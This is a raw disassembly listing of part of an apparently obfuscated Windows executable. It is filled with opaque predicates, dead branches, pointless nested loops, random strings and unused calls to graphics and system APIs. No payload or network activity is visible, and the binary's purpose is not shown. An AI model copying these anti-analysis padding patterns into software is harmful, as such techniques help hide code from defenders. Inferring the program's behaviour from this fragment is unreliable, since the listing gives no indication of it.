lea ecx, [ebp - 0x830]
call fcn.00428c3e
or dword [eax], 0xffffffff
jmp 0x467512
mov dword [ebp - 0xd4], 0xa
jmp 0x467557
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x16
jne 0x4678b9
mov dword [ebp - 0x914], 0xfff7
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0x9ac], 0xfffffff9
mov dword [ebp - 0xab4], 0
mov dword [ebp - 0x408], 0
jmp 0x4675a5
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 2
jge 0x4675c1
mov eax, dword [ebp - 0x408]
mov dword [ebp + eax*4 - 0x978], 0x2404
jmp 0x467598
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0xd4], eax
jge 0x4675e4
cmp dword [ebp - 0x140], 0
je 0x4675e4
mov dword [ebp - 0xa9c], 1
jmp 0x4675eb
and dword [ebp - 0xa9c], 0
cmp dword [ebp - 0x914], 0
jne 0x467600
mov dword [ebp - 0x1584], 1
jmp 0x467607
and dword [ebp - 0x1584], 0
mov eax, dword [ebp - 0x914]
cmp dword [ebp - 0x1584], eax
jle 0x467621
mov dword [ebp - 0x158c], 1
jmp 0x467628
and dword [ebp - 0x158c], 0
mov eax, dword [ebp - 0xa9c]
cmp eax, dword [ebp - 0x158c]
jle 0x467642
mov dword [ebp - 0x1dcc], 1
jmp 0x467649
and dword [ebp - 0x1dcc], 0
mov eax, 0xfffa
test eax, eax
je 0x467763
cmp dword [ebp - 0x140], 0
je 0x467763
mov dword [ebp - 0x1594], 0xe2e4ed3
mov dword [ebp - 0x874], 1
mov dword [ebp - 0x1dd4], 0x24b83428
mov dword [ebp - 0x21ac], 8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x978]
dec eax
mov dword [ebp - 0xaa4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xaa4]
mov dword [ebp + eax - 0x978], ecx
cmp dword [ebp - 0xaa4], 0
je 0x4676c2
cmp dword [ebp - 0x140], 0
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x1594], eax
mov eax, dword [ebp - 0x874]
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0xd4]
sub eax, dword [ebp - 0xb8]
mov ecx, 0x3d478254
sub ecx, dword [ebp - 0x914]
add ecx, dword [ebp - 0x874]
imul ecx, eax
cmp dword [ebp - 0x1594], ecx
jg 0x46770e
mov dword [ebp - 0xaac], 1
jmp 0x467715
and dword [ebp - 0xaac], 0
mov eax, dword [ebp - 0xaac]
add eax, 0x8a1b
cmp eax, dword [ebp - 0xb8]
jl 0x46773d
cmp dword [ebp - 0x9ac], 0
je 0x46773d
mov dword [ebp - 0x159c], 1
jmp 0x467744
and dword [ebp - 0x159c], 0
mov eax, dword [ebp - 0x159c]
mov dword [ebp - 0x1dd4], eax
cmp dword [ebp - 0x344], 0
je 0x46775e
jmp 0x46754a
jmp 0x46787c
mov dword [ebp - 0xb8], 1
jmp 0x46777c
mov eax, dword [ebp - 0xb8]
dec eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jl 0x46787c
mov eax, dword [ebp - 0xab4]
dec eax
mov dword [ebp - 0xab4], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp + eax*4 - 0x978]
mov dword [ebp - 0x21b4], eax
mov eax, dword [ebp - 0xb8]
cmp dword [ebp + eax*4 - 0x978], 0
jne 0x4677ce
cmp dword [ebp - 0x344], 0xddd0c6a3
ja 0x4677ce
and dword [ebp - 0x15a4], 0
jmp 0x4677d8
mov dword [ebp - 0x15a4], 1
mov eax, dword [ebp - 0x15a4]
mov dword [ebp - 0x9ac], eax
cmp dword [ebp - 0x9ac], 0
je 0x467809
mov eax, dword [ebp - 0xb8]
cmp dword [ebp + eax*4 - 0x978], 0
je 0x467809
mov dword [ebp - 0xabc], 1
jmp 0x467810
and dword [ebp - 0xabc], 0
cmp dword [ebp - 0xabc], 0x34f12ce3
jge 0x467828
mov dword [ebp - 0x15ac], 1
jmp 0x46782f
and dword [ebp - 0x15ac], 0
mov eax, dword [ebp - 0x104]
cmp dword [ebp - 0x15ac], eax
jge 0x467849
mov dword [ebp - 0x1ddc], 1
jmp 0x467850
and dword [ebp - 0x1ddc], 0
push 0
lea ecx, [ebp - 0x830]
call fcn.00428c3e
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb8]
mov eax, dword [ebp + eax*4 - 0x978]
mov dword [ebp + ecx*4 - 0x978], eax
jmp 0x46776f
mov dword [ebp - 0x104], 0
jmp 0x467895
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 3
jge 0x4678b4
push dword [ebp - 0x104]
lea ecx, [ebp - 0x830]
call fcn.00428c3e
or dword [eax], 0xffffffff
jmp 0x467888
jmp 0x46754a
cmp dword [ebp - 0x104], 0
je 0x467ae4
push 0
lea ecx, [ebp - 0x830]
call fcn.00428c3e
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x21bc], eax
cmp dword [ebp - 0x104], 0
jne 0x467903
push 2
lea ecx, [ebp - 0x830]
call fcn.00428c3e
cmp dword [eax], 0
jne 0x467903
and dword [ebp - 0xac4], 0
jmp 0x46790d
mov dword [ebp - 0xac4], 1
cmp dword [ebp - 0xac4], 0xffff
ja 0x46792b
cmp dword [ebp - 0x15b4], 0
jne 0x46792b
and dword [ebp - 0x1de4], 0
jmp 0x467935
mov dword [ebp - 0x1de4], 1
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x21c4], eax
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x21cc], eax
mov eax, dword [ebp - 0x15b4]
mov dword [ebp - 0x21d4], eax
push 1
lea ecx, [ebp - 0x830]
call fcn.00428c3e
mov esi, eax
push 0
lea ecx, [ebp - 0x830]
call fcn.00428c3e
mov ecx, dword [esi]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0xd4]
jg 0x46798d
mov dword [ebp - 0xacc], 1
jmp 0x467994
and dword [ebp - 0xacc], 0
push 0
lea ecx, [ebp - 0x830]
call fcn.00428c3e
mov ecx, dword [ebp - 0xacc]
cmp ecx, dword [eax]
jne 0x4679b7
mov dword [ebp - 0x15bc], 1
jmp 0x4679be
and dword [ebp - 0x15bc], 0
mov eax, dword [ebp - 0x140]
imul eax, dword [ebp - 0x15bc]
test eax, eax
je 0x4679e4
cmp dword [ebp - 0x140], 0
je 0x4679e4
mov dword [ebp - 0x1dec], 1
jmp 0x4679eb
and dword [ebp - 0x1dec], 0
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x21dc], eax
push 0
lea ecx, [ebp - 0x830]
call fcn.00428c3e
mov ecx, dword [ebp - 0x1df4]
imul ecx, dword [eax]
test ecx, ecx
je 0x467a22
or eax, 0xffffffff
je 0x467a22
mov dword [ebp - 0xad4], 1
jmp 0x467a29
and dword [ebp - 0xad4], 0
cmp dword [ebp - 0xad4], 1
ja 0x467a3e
mov dword [ebp - 0x15c4], 1
jmp 0x467a45
and dword [ebp - 0x15c4], 0
mov eax, dword [ebp - 0x15c4]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x21e4], eax
mov eax, 0x3fee
cmp eax, 0xffffffff
jg 0x467a73
mov dword [ebp - 0xadc], 1
jmp 0x467a7a
and dword [ebp - 0xadc], 0
mov eax, dword [ebp - 0x344]
cmp dword [ebp - 0xadc], eax
jg 0x467a94
mov dword [ebp - 0x15cc], 1
jmp 0x467a9b
and dword [ebp - 0x15cc], 0
push 1
lea ecx, [ebp - 0x830]
call fcn.00428c3e
mov ecx, dword [ebp - 0x15cc]
cmp ecx, dword [eax]
jg 0x467abe
mov dword [ebp - 0xae4], 1
jmp 0x467ac5
and dword [ebp - 0xae4], 0
mov eax, dword [ebp - 0xae4]
add eax, 0x3b3be7b8
cmp eax, dword [ebp - 0x140]
jne 0x467ae4
mov dword [ebp - 0x15d4], 1
jmp 0x467aeb
and dword [ebp - 0x15d4], 0
mov esi, dword [ebp - 0x140]
add esi, dword [ebp - 0x15d4]
push 0
lea ecx, [ebp - 0x830]
call fcn.00428c3e
mov dword [eax], esi
lea ecx, [ebp - 0x830]
call fcn.00428c22
mov dword [ebp - 0x338], 0xfffffffa
mov dword [ebp - 0x410], 0
mov dword [ebp - 0xb04], 0xffffffff
mov dword [ebp - 0x15f4], 0x44adca1a
push 1
lea ecx, [ebp - 0x249c]
call fcn.00428b50
mov dword [ebp - 0x608], 0
jmp 0x467b5f
mov eax, dword [ebp - 0x608]
inc eax
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 1
jge 0x467b81
push dword [ebp - 0x608]
lea ecx, [ebp - 0x249c]
call fcn.00428c3e
mov dword [eax], 0xe2cf4565
jmp 0x467b52
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x410], eax
mov eax, 0x4b9a733e
sub eax, dword [ebp - 0x338]
jne 0x467ba6
mov dword [ebp - 0x15dc], 1
jmp 0x467bad
and dword [ebp - 0x15dc], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x410]
cmp eax, dword [ebp - 0x338]
jge 0x467bca
mov dword [ebp - 0xaec], 1
jmp 0x467bd1
and dword [ebp - 0xaec], 0
cmp dword [ebp - 0xaec], 0xfffffffc
jge 0x467be6
mov dword [ebp - 0xaf4], 1
jmp 0x467bed
and dword [ebp - 0xaf4], 0
mov eax, dword [ebp - 0x15dc]
cmp eax, dword [ebp - 0xaf4]
jge 0x467c07
mov dword [ebp - 0x15e4], 1
jmp 0x467c0e
and dword [ebp - 0x15e4], 0
cmp dword [ebp - 0x15e4], 3
jg 0x467c23
mov dword [ebp - 0xafc], 1
jmp 0x467c2a
and dword [ebp - 0xafc], 0
mov eax, dword [ebp - 0xafc]
sub eax, dword [ebp - 0x338]
cmp eax, 0xfc36fe5
jle 0x467c49
mov dword [ebp - 0x15ec], 1
jmp 0x467c50
and dword [ebp - 0x15ec], 0
mov eax, dword [ebp - 0x15ec]
mov dword [ebp - 0xb04], eax
mov eax, dword [ebp - 0xb04]
add eax, 0x32c5
mov dword [ebp - 0x15f4], eax
mov eax, dword [ebp - 0x15f4]
sub eax, dword [ebp - 0x338]
mov ecx, dword [ebp - 0x410]
imul ecx, eax
cmp ecx, dword [ebp - 0x338]
jge 0x467c96
mov dword [ebp - 0xb0c], 1
jmp 0x467c9d
and dword [ebp - 0xb0c], 0
mov eax, dword [ebp - 0xb0c]
mov dword [ebp - 0x410], eax
lea ecx, [ebp - 0x249c]
call fcn.00428c22
mov dword [ebp - 0x163c], 0x1e7a
mov dword [ebp - 0x1e6c], str.wvcfme_taa_pqniaiqrl_wsnjurco_yacnzacca_rjmqjjzh_gzbulcth_zec_fgnjfw_luhqwjuu_slwuasnje_mrc
mov dword [ebp - 0x710], 0xac64a684
mov byte [ebp - 0x275], 0
movzx eax, byte [ebp - 0x275]
test eax, eax
je 0x467cef
push 0x877
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x710], 0
jmp 0x467d08
mov eax, dword [ebp - 0x710]
dec eax
mov dword [ebp - 0x710], eax
cmp dword [ebp - 0x710], 0xffffffe3
jg 0x467d39
mov byte [ebp - 0x261], 0
movzx eax, byte [ebp - 0x261]
test eax, eax
je 0x467d37
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
jmp 0x467cfb
cmp dword [ebp - 0x163c], 0x1f9f
jle 0x467e6c
push 0x147a
push 0x1d3b
push 0xf4
push 0
push 0xec5
push 0x1796
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x139e
push 0xb09
push 0x9f2
push 0x1196
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
and dword [ebp - 0x420], 0
jmp 0x467db0
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0x1605
jge 0x467e61
and dword [ebp - 0x418], 0
jmp 0x467dd6
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0x510b
jge 0x467e5c
and dword [ebp - 0x610], 0
jmp 0x467df8
mov eax, dword [ebp - 0x610]
inc eax
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 0x520a
jge 0x467e57
mov eax, dword [ebp - 0x418]
add eax, dword [ebp - 0x610]
or eax, dword [ebp - 0x420]
cdq
mov dword [ebp - 0x1aac], eax
mov dword [ebp - 0x1aa8], edx
push dword [ebp - 0x1aa8]
push dword [ebp - 0x1aac]
lea ecx, [ebp - 0x2774]
call fcn.00450a6d
pop ecx
pop ecx
mov ecx, eax
call fcn.0040260f
push eax
call fcn.0047e255
pop ecx
lea ecx, [ebp - 0x2774]
call fcn.004023fc
jmp 0x467deb
jmp 0x467dc9
jmp 0x467da3
push 0x5d0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 1
lea ecx, [ebp - 0x1f30]
call fcn.00428b50
mov dword [ebp - 0x1d0], 0x8094a188
push 4
lea ecx, [ebp - 0x24ac]
call fcn.00428b50
mov dword [ebp - 0x21ec], 4
mov dword [ebp - 0x20fc], 0xe82ca968
mov dword [ebp - 0x2100], 0x921b0ae2
mov dword [ebp - 0x2108], 0x5b1510af
mov dword [ebp - 0x2110], 0xffffffff
mov dword [ebp - 0x2118], 0xd99ea7eb
mov dword [ebp - 0x2120], 0xfffffffb
mov dword [ebp - 0x2128], 0xfffffff8
mov dword [ebp - 0x2130], 0xfffffff9
mov dword [ebp - 0x2138], 1
mov dword [ebp - 0xb14], 0xffffffff
mov dword [ebp - 0x5c], 0
jmp 0x467f0e
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 1
jge 0x467f2a
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x1f30]
call fcn.00428c3e
mov dword [eax], 0x3198
jmp 0x467f07
mov dword [ebp - 0x5c], 0
jmp 0x467f3a
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 4
jge 0x467f56
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x24ac]
call fcn.00428c3e
mov dword [eax], 0x9ddcef98
jmp 0x467f33
mov dword [ebp - 0x5c], 0
jmp 0x467f66
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jge 0x467f7c
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x26a4], 0
jmp 0x467f5f
mov dword [ebp - 0x1d0], 0
jmp 0x467f95
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0
jg 0x46802e
mov dword [ebp - 0x1e04], 1
mov eax, 0x6923607a
test eax, eax
je 0x467fdb
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0x1f30]
call fcn.00428c3e
mov eax, 0x54a2
test eax, eax
je 0x467fdb
mov dword [ebp - 0x1dfc], 1
jmp 0x467fe2
and dword [ebp - 0x1dfc], 0
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x2140], eax
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0x1f30]
call fcn.00428c3e
cmp dword [eax], 0xffff
jne 0x468013
mov dword [ebp - 0x15fc], 1
jmp 0x46801a
and dword [ebp - 0x15fc], 0
push 0xfffffffffffffff8
pop eax
sub eax, dword [ebp - 0x15fc]
mov dword [ebp - 0x1e04], eax
jmp 0x467f88
mov eax, dword [ebp - 0xb14]
inc eax
mov dword [ebp - 0xb14], eax
lea ecx, [ebp - 0x24ac]
call fcn.00428c22
lea ecx, [ebp - 0x1f30]
call fcn.00428c22
mov dword [ebp - 0x184], 0xe83c7730
mov dword [ebp - 0x790], 0
jmp 0x468074
mov eax, dword [ebp - 0x790]
inc eax
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 1
jge 0x468090
mov eax, dword [ebp - 0x790]
mov dword [ebp + eax*4 - 0x2148], 0x4ec2
jmp 0x468067
mov dword [ebp - 0x184], 0
jmp 0x4680a9
mov eax, dword [ebp - 0x184]
dec eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0
jl 0x4680ce
mov byte [ebp - 0x2a9], 0
movzx eax, byte [ebp - 0x2a9]
test eax, eax
je 0x4680cc
push 0
call dword [sym.imp.USER32.dll_SetCursor]
jmp 0x46809c
mov dword [ebp - 0x184], 0
jmp 0x4680e7
mov eax, dword [ebp - 0x184]
dec eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0xfffffff1
jge 0x46810a
mov byte [ebp - 0x263], 0
movzx eax, byte [ebp - 0x263]
test eax, eax
je 0x468108
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
jmp 0x4680da
mov dword [ebp - 0x1944], str.muy_gesfkcb_kxgnpvpyk_xudjanoa_uudwa_nhjbzeyg_xvaf_quwdonptt_esxgqu_czxy_qib_tbeg
mov dword [ebp - 0x10c], 0
jmp 0x46812d
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 4
jge 0x468149
mov eax, dword [ebp - 0x10c]
mov dword [ebp + eax*4 - 0x20c4], 0xffffffff
jmp 0x468120
mov dword [ebp - 0x10c], 0
jmp 0x468162
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 3
jge 0x46817e
mov eax, dword [ebp - 0x10c]
mov dword [ebp + eax*4 - 0x1828], 0xfffffffd
jmp 0x468155
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1828], 3
jmp 0x4681ac
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1828]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1828], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1828], 0
jl 0x4682a2
mov dword [ebp - 0x384], 0x9f3690f1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1828]
cmp dword [ebp + eax*4 - 0x20c4], 0
je 0x4681e6
jmp 0x4682a2
mov dword [ebp - 0x384], 3
jmp 0x4681ff
mov eax, dword [ebp - 0x384]
dec eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0
jl 0x46829d
mov dword [ebp - 0x1ac], 0x35c5735e
mov dword [ebp - 0x1ac], 3
jmp 0x46822f
mov eax, dword [ebp - 0x1ac]
dec eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
jl 0x468253
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1828]
cmp dword [ebp + eax*4 - 0x20c4], 0
je 0x468251
jmp 0x468253
jmp 0x468222
mov dword [ebp - 0x1ac], 0
jmp 0x46826c
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 3
jg 0x468298
mov eax, dword [ebp - 0x384]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1828]
mov eax, dword [ebp + eax*4 - 0x20c4]
mov dword [ebp + ecx*4 - 0x20c4], eax
jmp 0x46825f
jmp 0x4681f2
jmp 0x468191
mov dword [ebp - 0x330], 0xfffffffa
mov dword [ebp - 0x618], 0
mov dword [ebp - 0x161c], 0xffffffff
mov dword [ebp - 0xb34], 0x44adca1a
push 1
lea ecx, [ebp - 0x24bc]
call fcn.00428b50
mov dword [ebp - 0x428], 0
jmp 0x4682f0
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 1
jge 0x468312
push dword [ebp - 0x428]
lea ecx, [ebp - 0x24bc]
call fcn.00428c3e
mov dword [eax], 0xe2cf4565
jmp 0x4682e3
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x618], eax
mov eax, 0x4b9a733e
sub eax, dword [ebp - 0x330]
jne 0x468337
mov dword [ebp - 0xb1c], 1
jmp 0x46833e
and dword [ebp - 0xb1c], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x618]
cmp eax, dword [ebp - 0x330]
jge 0x46835b
mov dword [ebp - 0x1604], 1
jmp 0x468362
and dword [ebp - 0x1604], 0
cmp dword [ebp - 0x1604], 0xfffffffc
jge 0x468377
mov dword [ebp - 0x160c], 1
jmp 0x46837e
and dword [ebp - 0x160c], 0
mov eax, dword [ebp - 0xb1c]
cmp eax, dword [ebp - 0x160c]
jge 0x468398
mov dword [ebp - 0xb24], 1
jmp 0x46839f
and dword [ebp - 0xb24], 0
cmp dword [ebp - 0xb24], 3
jg 0x4683b4
mov dword [ebp - 0x1614], 1
jmp 0x4683bb
and dword [ebp - 0x1614], 0
mov eax, dword [ebp - 0x1614]
sub eax, dword [ebp - 0x330]
cmp eax, 0xfc36fe5
jle 0x4683da
mov dword [ebp - 0xb2c], 1
jmp 0x4683e1
and dword [ebp - 0xb2c], 0
mov eax, dword [ebp - 0xb2c]
mov dword [ebp - 0x161c], eax
mov eax, dword [ebp - 0x161c]
add eax, 0x32c5
mov dword [ebp - 0xb34], eax
mov eax, dword [ebp - 0xb34]
sub eax, dword [ebp - 0x330]
mov ecx, dword [ebp - 0x618]
imul ecx, eax
cmp ecx, dword [ebp - 0x330]
jge 0x468427
mov dword [ebp - 0x1624], 1
jmp 0x46842e
and dword [ebp - 0x1624], 0
mov eax, dword [ebp - 0x1624]
mov dword [ebp - 0x618], eax
lea ecx, [ebp - 0x24bc]
call fcn.00428c22
mov dword [ebp - 0x7c], 0xac64a684
mov dword [ebp - 0xb3c], 1
mov dword [ebp - 0x2150], 0xba13b288
mov dword [ebp - 0x7c], 0x1b
jmp 0x468470
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x19
jle 0x468490
mov byte [ebp - 0x239], 0
movzx eax, byte [ebp - 0x239]
test eax, eax
je 0x46848e
call dword [sym.imp.USER32.dll_ReleaseCapture]
jmp 0x468469
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0xb3c], eax
mov eax, dword [ebp - 0xb3c]
cmp dword [ebp - 0x7c], eax
je 0x4684b0
mov dword [ebp - 0x162c], 1
jmp 0x4684b7
and dword [ebp - 0x162c], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x162c], eax
jge 0x4684ce
mov dword [ebp - 0xb44], 1
jmp 0x4684d5
and dword [ebp - 0xb44], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x2158], eax
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], eax
jge 0x4684f2
mov dword [ebp - 0x1634], 1
jmp 0x4684f9
and dword [ebp - 0x1634], 0
mov eax, dword [ebp - 0xb44]
cmp eax, dword [ebp - 0x1634]
jl 0x46851c
mov eax, 0xbfa32a17
test eax, eax
jne 0x46851c
mov dword [ebp - 0xb4c], 1
jmp 0x468523
and dword [ebp - 0xb4c], 0
mov eax, dword [ebp - 0xb4c]
sub eax, dword [ebp - 0x7c]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 4], 2
cmp dword [ebp - 0x163c], 0x1b58
jge 0x46854e
push dword [ebp - 0x1e6c]
call fcn.0047e255
pop ecx
jmp 0x46856a
or dword [ebp - 4], 0xffffffff
jmp 0x468574
cmp dword [ebp - 0xb6c], 0x7288
jle 0x468b1f
mov dword [ebp - 0x164c], 0x42b8
mov dword [ebp - 0x1e8c], str.spncss_cyoxv_riwg_stalac_hhgdbiol_nkmjvtngw_zwbltkhfk_ecm_krgtxys_fjzj_vfltw_zqtk_eubzyojr
cmp dword [ebp - 0x164c], 0x44dc
jle 0x4686ff
push 0x147a
push 0x1d3b
push 0xf4
push 0
push 0xec5
push 0x1796
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x139e
push 0xb09
push 0x9f2
push 0x1196
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
and dword [ebp - 0x430], 0
jmp 0x46860f
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0x7f18
jge 0x4686f7
and dword [ebp - 0x718], 0
jmp 0x468635
mov eax, dword [ebp - 0x718]
inc eax
mov dword [ebp - 0x718], eax
cmp dword [ebp - 0x718], 0x96f
jge 0x4686f2
and dword [ebp - 0x438], 0
jmp 0x46865b
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x268c
jge 0x4686ed
and dword [ebp - 0x620], 0
jmp 0x468681
mov eax, dword [ebp - 0x620]
inc eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 0x7e3e
jge 0x4686e8
mov eax, dword [ebp - 0x430]
and eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x438]
xor ecx, dword [ebp - 0x620]
or eax, ecx
cdq
mov dword [ebp - 0x1ab8], eax
mov dword [ebp - 0x1ab4], edx
push dword [ebp - 0x1ab4]
push dword [ebp - 0x1ab8]
lea ecx, [ebp - 0x284c]
call fcn.00450a6d
pop ecx
pop ecx
mov ecx, eax
call fcn.0040260f
push eax
call fcn.0047e255
pop ecx
lea ecx, [ebp - 0x284c]
call fcn.004023fc
jmp 0x468674
jmp 0x46864e
jmp 0x468628
jmp 0x468602
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
and dword [ebp - 0x458], 0
jmp 0x468715
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0x15c7
jge 0x468ada
mov dword [ebp - 0xb5c], 0x2b77
mov dword [ebp - 0x1e84], str.tjmpl_whadinrn_izyjrsrtq_uky_cxbxsker_sweohe_zrcrsmv_ruhhtn_laad_dqjtt_iday_qyy
cmp dword [ebp - 0xb5c], 0x2dfa
jle 0x4687f5
and dword [ebp - 0x440], 0
jmp 0x46875f
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0x7cd3
jge 0x4687df
and dword [ebp - 0x7d0], 0
jmp 0x468781
mov eax, dword [ebp - 0x7d0]
inc eax
mov dword [ebp - 0x7d0], eax
cmp dword [ebp - 0x7d0], 0x2590
jge 0x4687da
mov eax, dword [ebp - 0x440]
and eax, dword [ebp - 0x7d0]
cdq
mov dword [ebp - 0x1ac4], eax
mov dword [ebp - 0x1ac0], edx
push dword [ebp - 0x1ac0]
push dword [ebp - 0x1ac4]
lea ecx, [ebp - 0x293c]
call fcn.00450a6d
pop ecx
pop ecx
mov ecx, eax
call fcn.0040260f
push eax
call fcn.0047e255
pop ecx
lea ecx, [ebp - 0x293c]
call fcn.004023fc
jmp 0x468774
jmp 0x468752
push 1
push 0
push 0x2592
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
and dword [ebp - 0x630], 0
jmp 0x46880b
mov eax, dword [ebp - 0x630]
inc eax
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 0x6fc7
jge 0x468a90
mov dword [ebp - 0x1644], 0x2ca0
mov dword [ebp - 0x1e7c], str.udqbmtc_dvr_xzxzvso_wlpafsmsa
cmp dword [ebp - 0x1644], 0x2ee3
jle 0x4688b4
and dword [ebp - 0x448], 0
jmp 0x468851
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0x6379
jge 0x4688b4
and dword [ebp - 0x628], 0
jmp 0x468873
mov eax, dword [ebp - 0x628]
inc eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0x5bf2
jge 0x4688b2
mov eax, dword [ebp - 0x448]
mov ecx, dword [ebp - 0x628]
sar eax, cl
cdq
mov dword [ebp - 0x1ad0], eax
mov dword [ebp - 0x1acc], edx
push dword [ebp - 0x1acc]
push dword [ebp - 0x1ad0]
mov ecx, 0xab1de0
call fcn.004795b6
jmp 0x468866
jmp 0x468844
and dword [ebp - 0x460], 0
jmp 0x4688ca
mov eax, dword [ebp - 0x460]
inc eax
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0x1ec
jge 0x468a42
mov dword [ebp - 0xb54], 0x4a70
mov dword [ebp - 0x1e74], str.felrhx_kmk_iirhmnvw_kqeehgu
cmp dword [ebp - 0xb54], 0x4b0c
jle 0x468996
and dword [ebp - 0x450], 0
jmp 0x468914
mov eax, dword [ebp - 0x450]
inc eax
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 0x4535
jge 0x468996
and dword [ebp - 0x720], 0
jmp 0x468936
mov eax, dword [ebp - 0x720]
inc eax
mov dword [ebp - 0x720], eax
cmp dword [ebp - 0x720], 0x453e
jge 0x468991
mov eax, dword [ebp - 0x450]
mov ecx, dword [ebp - 0x720]
sar eax, cl
cdq
mov dword [ebp - 0x1adc], eax
mov dword [ebp - 0x1ad8], edx
push dword [ebp - 0x1ad8]
push dword [ebp - 0x1adc]
lea ecx, [ebp - 0x2894]
